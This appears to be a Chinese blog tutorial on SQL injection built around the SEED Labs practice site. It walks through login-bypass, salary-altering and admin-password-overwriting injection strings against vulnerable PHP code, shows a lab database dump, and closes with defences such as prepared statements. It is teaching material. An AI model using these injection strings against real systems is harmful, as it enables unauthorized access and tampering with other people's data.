SQL注入详解

什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,
而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库。

SQL注入的总体思路

  1. 寻找到SQL注入的位置
  2. 判断服务器类型和后台数据库类型
  3. 针对不同的数据库和数据库特点进行SQL注入攻击

SQL注入攻击实例

String sql = "select * from user_table" where username=' "+userName" ' and password=' "password+" '";
# 当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=''or 1=1 -- and password=''
"""
分析SQL语句:
	条件后面username"or 1=1 用户名等于 "1=1 那么这个条件一定会成功;
	然后后面加上两个-,这意味着注释,它将后面的sql语句注释,让它不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

对于一些不法黑客,如果执行的是以下的sql语句,后果不堪设想。
SELECT * FROM user_table WHERE username='';
DROP DATABASE(DB Name) --'and password=''
"""

下面演示黑客通过SQL注入攻击绕过密码直接登陆后台

在这里插入图片描述

演示环境准备
在Ubuntu12 虚拟机中安装SQL注入实验网站

$ tar -zxvf ./patch.tar.gz
$ cd patch
$ chmod a+x bootstrap.sh
$ ./bootstrap.sh

关闭PHP SQL注入攻击保护机制

/etc/php5/apache2/php.ini文件中

修改magic quotes gpc = On为Off

启动Apache服务(sudo service apache2 start)

在另一台Linux主机上配置DNS(在/etc/hosts文件添加)

 192.168.59.156 www.seedlabsqlinjection.com

ok!现在你可以成功访问了 通过命令行登录并查看数据库信息如下

$ mysql -u root -pseedubuntu
mysql> use Users;
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| credential      |
+-----------------+
mysql> select * from credential;
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email | NickName | Password                                 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
|  1 | Alice | 10000 |  20000 | 9/20  | 10211002 |             |         |       |          | fdbe918bdae83000aa54747fc95fe0470fff4976 |
|  2 | Boby  | 20000 |  30000 | 4/20  | 10213352 |             |         |       |          | b78ed97677c161c1c82c142906674ad15242b2d4 |
|  3 | Ryan  | 30000 |  50000 | 4/10  | 98993524 |             |         |       |          | a3c50276cb120637cca669eb38fb9928b017e9ef |
|  4 | Samy  | 40000 |  90000 | 1/11  | 32193525 |             |         |       |          | 995b8b8c183f349b3cab0ae7fccd39133508d2af |
|  5 | Ted   | 50000 | 110000 | 11/3  | 32111111 |             |         |       |          | 99343bff28a7bb51cb6f22cb20a618701a2c2f58 |
|  6 | Admin | 99999 | 400000 | 3/5   | 43254314 |             |         |       |          | a5bdf35a1df4ea895905f6f6618e83951a6effc0 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+

网站原始基本信息如下:

User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin 99999 seedadmin 400000 3/5 43254314
Alice 10000 seedalice 20000 9/20 10211002
Boby 20000 seedboby 50000 4/20 10213352
Ryan 30000 seedryan 90000 4/10 32193525
Samy 40000 seedsamy 40000 1/11 32111111
Ted 50000 seedted 110000 11/3 24343244

黑客通过SQL注入越权直接变身admin
下面是网站登录模块的代码,黑客通过分析代码,找出逻辑漏洞,并基于此漏洞进行攻击!

    $conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn,
phonenumber, address, email, nickname, Password
FROM credential
WHERE eid= '$input_eid' and password='$input_pwd'";
$result = $conn->query($sql))
// The following is psuedo code
if(name=='admin'){
return All employees information.
} else if(name!=NULL){
return employee information.
} else {
authentication fails.
}

代码漏洞:"WHERE eid= '$input_eid' and password='$input_pwd'"

攻击串:' or Name='admin';#

攻击成功,成功登陆:
在这里插入图片描述
如果网站此时提供一个界面,供管理员修改你的工资
在这里插入图片描述
更改个人信息的代码如下:

$conn = getDB();
$sql = "UPDATE credential SET nickname='$nickname',
email='$email',
address='$address',
phonenumber='$phonenumber',
Password='$pwd'
WHERE id= '$input_id' ";
$conn->query($sql))

代码漏洞:$sql = "UPDATE credential SET nickname='$nickname',...

攻击串:',salary='9999999' where Name='Alice'#

成功修改工资余额,让你成为最富有的人:
在这里插入图片描述
黑客甚至可以通过SQL注入让管理员/本人无法登陆自己的账户!!!

root@gt:/home# echo -n "seedadmin" | openssl sha1
(stdin)= a5bdf35a1df4ea895905f6f6618e83951a6effc0
root@gt:/home# echo -n "hackbiji.top" | openssl sha1
(stdin)= a504e9efce2d451b08c285b2dfd2e7f8b241ba03
root@gt:/home# 

攻击串:',Password='a504e9efce2d451b08c285b2dfd2e7f8b241ba03' where Name='Admin'#

此时管理员或者你本人也是无法登陆你自己的账号了
在这里插入图片描述

如何防御SQL注入

  但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL
传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或
传递大的参数,我们要时刻保持警惕,这是安全领域里的【外部数据不可信任】的
原则,纵观Web安全领域的各种攻击方式,大多数都是开发者违反了这个原则
导致的,所以能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所
预想的。

1、检查变量数据类型和格式

  如果你的sql语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那
么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该
检查并确保变量一定是邮箱格式。其他的类型比如日期、时间等也是一个道理。总
结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去
检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
  比如,我们前面接受username参数例子中,我们产品设计应该在用户注册的一开
始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些
安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数
来统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布
系统,评论系统等必须要运行用户提交任意字符串的场景,这就需要采用过滤等其
他方案了。

2、过滤特殊符号

对于无法确定固定格式的变量,一定要进行特殊符号或转义处理。

3、绑定变量,使用预编译语句

MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编
译语句的方法。
实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL注
入的最佳方式,使用预编译的SQL语句语义,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构。

总结

作为一名Web应用开发人员,一定要对用户输入的数据进行严格的校验处理,否则的话,SQL Injection将会不期而至!

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐